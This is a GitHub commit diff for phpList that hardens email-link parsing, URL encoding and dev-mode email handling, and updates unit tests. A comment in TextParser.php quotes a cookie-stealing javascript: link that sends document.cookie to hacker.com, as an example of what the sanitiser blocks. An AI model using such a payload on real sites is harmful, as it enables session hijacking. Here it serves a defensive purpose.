Skip to content

Commit ca6dc94

Browse files
committed
After review 1
1 parent b6e2ee2 commit ca6dc94

File tree

8 files changed

+43
-15
lines changed

8 files changed

+43
-15
lines changed

src/Domain/Common/ExternalImageService.php

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -202,6 +202,7 @@ private function isValidCacheFile(string $cacheFileName): bool
202202

203203
private function writeCacheFile(string $cacheFileName, $content): void
204204
{
205+
// phpcs:ignore Generic.PHP.NoSilencedErrors
205206
$bytes = @file_put_contents($cacheFileName, $content, LOCK_EX);
206207

207208
if ($bytes === false) {

src/Domain/Common/RemotePageFetcher.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -116,9 +116,9 @@ private function prepareUrl(string $url, array $userData): string
116116
foreach ($userData as $key => $val) {
117117
if ($key !== 'password') {
118118
$url = str_replace('[' . $key . ']', rawurlencode($val), $url);
119-
$url = mb_convert_encoding($url, 'ISO-8859-1', 'UTF-8');
120119
}
121120
}
121+
$url = mb_convert_encoding($url, 'ISO-8859-1', 'UTF-8');
122122

123123
return $this->expandUrl($url);
124124
}

src/Domain/Common/TextParser.php

Lines changed: 15 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -9,10 +9,20 @@ class TextParser
99
public function __invoke(string $text): string
1010
{
1111
$text = ltrim($text);
12-
$text = preg_replace(
13-
'/([\._a-z0-9-]+@[\.a-z0-9-]+)/i',
14-
'<a href="mailto:\\1" class="email">\\1</a>',
15-
$text,
12+
$text = preg_replace_callback(
13+
'/\b([a-z0-9](?:[a-z0-9._%+-]{0,62}[a-z0-9])?@' .
14+
'(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+' .
15+
'[a-z]{2,63})\b/i',
16+
static function (array $matches): string {
17+
$email = $matches[1];
18+
19+
$emailEsc = htmlspecialchars($email, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
20+
21+
$mailto = rawurlencode($email);
22+
23+
return '<a href="mailto:' . $mailto . '" class="email">' . $emailEsc . '</a>';
24+
},
25+
$text
1626
);
1727
$linkPattern = '/(.*)<a.*href\s*=\s*\"(.*?)\"\s*(.*?)>(.*?)<\s*\/a\s*>(.*)/is';
1828
$link = [];
@@ -21,7 +31,7 @@ public function __invoke(string $text): string
2131
$url = $matches[2];
2232
$rest = $matches[3];
2333
if (!preg_match('/^(http:)|(mailto:)|(ftp:)|(https:)/i', $url)) {
24-
// avoid this
34+
// Removing all colons breaks legitimate URLs but avoids this 🤷
2535
//<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)">
2636
$url = preg_replace('/:/', '', $url);
2737
}
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
<?php
2+
3+
declare(strict_types=1);
4+
5+
namespace PhpList\Core\Domain\Messaging\Exception;
6+
7+
use LogicException;
8+
9+
class DevEmailNotConfiguredException extends LogicException
10+
{
11+
public function __construct()
12+
{
13+
parent::__construct('Sending email in dev mode, but dev email is not configured.');
14+
}
15+
}

src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,10 +12,10 @@ class MessagePrecacheDto
1212
public ?string $fromName = null;
1313
public ?string $fromEmail = null;
1414
public ?string $to = null;
15-
public ?string $subject = null;
15+
public string $subject = '';
1616
public ?string $content = null;
1717
public string $textContent = '';
18-
public ?string $footer = null;
18+
public string $footer = '';
1919
public ?string $textFooter = null;
2020
public string $htmlFooter = '';
2121
public bool $htmlFormatted = false;

src/Domain/Messaging/Service/Builder/EmailBuilder.php

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
use PhpList\Core\Domain\Configuration\Model\ConfigOption;
88
use PhpList\Core\Domain\Configuration\Service\Manager\EventLogManager;
99
use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
10+
use PhpList\Core\Domain\Messaging\Exception\DevEmailNotConfiguredException;
1011
use PhpList\Core\Domain\Messaging\Service\SystemMailConstructor;
1112
use PhpList\Core\Domain\Messaging\Service\TemplateImageEmbedder;
1213
use PhpList\Core\Domain\Subscription\Repository\SubscriberRepository;
@@ -128,15 +129,14 @@ private function passesBlacklistCheck(?string $to, ?bool $skipBlacklistCheck): b
128129

129130
private function resolveDestinationEmailAndMessage(?string $to, ?string $message): array
130131
{
131-
$destinationEmail = '';
132+
$destinationEmail = $to;
132133

133134
if ($this->devVersion) {
134135
$message = 'To: ' . $to . PHP_EOL . $message;
135-
if ($this->devEmail) {
136-
$destinationEmail = $this->devEmail;
136+
if (!$this->devEmail) {
137+
throw new DevEmailNotConfiguredException();
137138
}
138-
} else {
139-
$destinationEmail = $to;
139+
$destinationEmail = $this->devEmail;
140140
}
141141

142142
return [$destinationEmail, $message];

tests/Unit/Domain/Common/TextParserTest.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ public function testEmailIsMadeClickable(): void
2222
$out = ($this->parser)($input);
2323

2424
$this->assertSame(
25-
'Contact me at <a href="mailto:foo.bar-1@example.co.uk" class="email">[email protected]</a>',
25+
'Contact me at <a href="mailto:foo.bar-1%40example.co.uk" class="email">[email protected]</a>',
2626
$out
2727
);
2828
}

tests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
use PhpList\Core\Domain\Messaging\Service\MessageDataLoader;
1515
use PHPUnit\Framework\MockObject\MockObject;
1616
use PHPUnit\Framework\TestCase;
17+
use Psr\Log\LoggerInterface;
1718

1819
class MessageDataLoaderTest extends TestCase
1920
{
@@ -83,7 +84,8 @@ public function getListId(): int
8384
configProvider: $this->config,
8485
messageDataRepository: $this->messageDataRepository,
8586
messageRepository: $this->messageRepository,
86-
defaultMessageAge: $defaultMessageAge,
87+
logger: $this->createMock(LoggerInterface::class),
88+
defaultMessageAge: $defaultMessageAge
8789
);
8890

8991
$before = time();

0 commit comments

Comments
 (0)